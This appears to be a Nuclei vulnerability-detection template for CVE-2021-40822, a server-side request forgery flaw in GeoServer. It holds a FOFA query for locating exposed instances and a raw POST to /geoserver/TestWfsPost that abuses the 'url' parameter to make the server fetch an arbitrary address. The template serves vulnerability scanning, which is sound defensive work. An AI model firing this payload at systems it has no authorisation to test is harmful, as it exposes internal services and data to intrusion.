39 lines
1.0 KiB
YAML
39 lines
1.0 KiB
YAML
|
id: CVE-2021-40822
|
||
|
|
||
|
info:
|
||
|
name: Geoserver - SSRF
|
||
|
author: For3stCo1d
|
||
|
severity: high
|
||
|
description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows SSRF via the option for setting a proxy host.
|
||
|
reference:
|
||
|
- https://gccybermonks.com/posts/cve-2021-40822/
|
||
|
- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||
|
cvss-score: 7.5
|
||
|
cve-id: CVE-2021-40822
|
||
|
cwe-id: CWE-918
|
||
|
metadata:
|
||
|
fofa-query: app="GeoServer"
|
||
|
tags: cve2021,ssrf,geoserver
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /geoserver/TestWfsPost HTTP/1.1
|
||
|
Host: example.com
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
form_hf_0=&url=http://example.com/geoserver/../&body=&username=&password=
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "<title>Example Domain</title>"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|